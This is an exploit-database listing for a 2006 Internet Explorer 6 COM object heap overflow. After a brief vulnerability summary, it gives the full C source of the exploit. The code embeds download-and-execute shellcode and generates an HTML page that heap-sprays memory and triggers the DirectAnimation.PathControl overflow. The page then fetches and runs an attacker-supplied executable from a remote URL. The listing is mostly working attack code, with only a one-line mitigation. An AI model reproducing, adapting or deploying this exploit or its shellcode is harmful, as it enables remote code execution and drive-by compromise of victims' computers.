Internet Explorer COM Object Heap Overflow Download Exec Exploit

vendor:

Internet Explorer

by:

nop

7.5

CVSS

HIGH

Heap Overflow

122

CWE

Product Name: Internet Explorer

Affected Version From: Internet Explorer 6.0 SP1

Affected Version To: Internet Explorer 6.0 SP1

Patch Exists: NO

Related CWE:

CPE: a:microsoft:internet_explorer:6.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 2000 Server SP4, Windows XP SP2

2006

Internet Explorer COM Object Heap Overflow Download Exec Exploit

This is a 0day exploit that targets a heap overflow vulnerability in Internet Explorer's COM Object. It allows an attacker to execute arbitrary code and download and execute a file on the victim's machine. The exploit is written in C and uses a shellcode to achieve code execution.

Mitigation:

Apply the latest security updates and patches for Internet Explorer.

Source

Exploit-DB raw data:

/*
*-----------------------------------------------------------------------
*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit
* !!! 0day !!!  Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author   : nop
*          : nop#xsec.org
*          : http://www.xsec.org
*          :
* Tested   : Windows 2000 Server SP4 CN
*          :     + Internet Explorer 6.0 SP1
*          : Windows XP SP2 CN
*          :     + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
*          :
* Complie  : cl daxctle2.c
*          :
* Usage       :d:\>daxctle2
*          :
*          :Usage: daxctle <URL> [htmlfile]
*          :
*          :d:\>daxctle2 http://xsec.org/xxx.exe xxx.htm
*          :
*          
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

// Download Exec Shellcode by nop
unsigned char sc[] =     
"\xe9\xa3\x00\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\x43\x00\x00\x00"
"\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d\x54\xff\x16\x95"
"\xe8\x2e\x00\x00\x00\x83\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04"
"\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03\x04\x78\x65\x00\x00\x33"
"\xc0\x50\x50\x53\x57\x50\xff\x56\x10\x8b\xdc\x50\x53\xff\x56\x08"
"\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b"
"\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10"
"\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"
"\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x58\xff\xff\xff\x8e\x4e\x0e"
"\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60\x36\x1a\x2f"
"\x70";    

char * header =
"<html>\n"
"<head>\n"
"<title>XSec.org</title>\n"
"</head>\n"
"<body>\n"
"<script>\n"
"shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u4343\" + \n";

// Change this script by yourself.
char * footer =
"bigbk = unescape(\"%u0D0D%u0D0D\");\n"
"headersize = 20;\n"
"slackspace = headersize + shellcode.length\n"
"while (bigbk.length < slackspace) bigbk += bigbk;\n"
"fillbk = bigbk.substring(0, slackspace);\n"
"bk = bigbk.substring(0, bigbk.length-slackspace);\n"
// bk = nop+nop;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;\n"  
"memory = new Array();\n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;\n"
"var target = new ActiveXObject(\"DirectAnimation.PathControl\");\n"
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));\n"
"</script>\n"
"</body>\n"
"</html>\n";

// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
   int i,j;
   char *p;
   char msg[4];

   for(i=0;i<buffsize;i+=2)
       {
       if((i%16)==0)
       {
           if(i!=0)
           {
               printf("\"\n\"");
               fprintf(fp, "%s", "\" +\n\"");
           }
           else
           {
               printf("\"");
               fprintf(fp, "%s", "\"");
           }
       }
           
       printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
       
       fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
     }
     

       printf("\";\n");
       fprintf(fp, "%s", "\");\n");          
   
   
   fflush(fp);
}

void main(int argc, char **argv)
{
   unsigned char buf[1024] = {0};

   int sc_len = 0;


        if (argc < 2)
   {
         printf("Internet Explorer COM Object Remote Heap Overflow Download Exec Exploit\n");
         printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n");
         //printf("!!! 0Day !!! Please Keep Private!!!\n");
       printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
       exit(1);
   }
   
   url = argv[1];
   
   //if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 60)
        if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10)
        {
            //printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60 bytes.\n");
            printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
            return;                
        }

      printf("[+] download url:%s\n", url);
      
      if(argc >=3) file = argv[2];
      printf("[+] exploit file:%s\n", file);
       
   fp = fopen(file, "w");
   if(!fp)
   {
       printf("[-] Open file error!\n");
          return;
   }    
   
   // print html header
   fprintf(fp, "%s", header);
   fflush(fp);
   
   // print shellcode
   memset(buf, 0, sizeof(buf));
   sc_len = sizeof(sc)-1;
   memcpy(buf, sc, sc_len);
   memcpy(buf+sc_len, url, strlen(url));
   
   sc_len += strlen(url)+1;
   PrintUc(buf, sc_len);
 
   // print html footer
   fprintf(fp, "%s", footer);
   fflush(fp);  
   
   printf("[+] exploit write to %s success!\n", file);
}

// milw0rm.com [2006-09-13]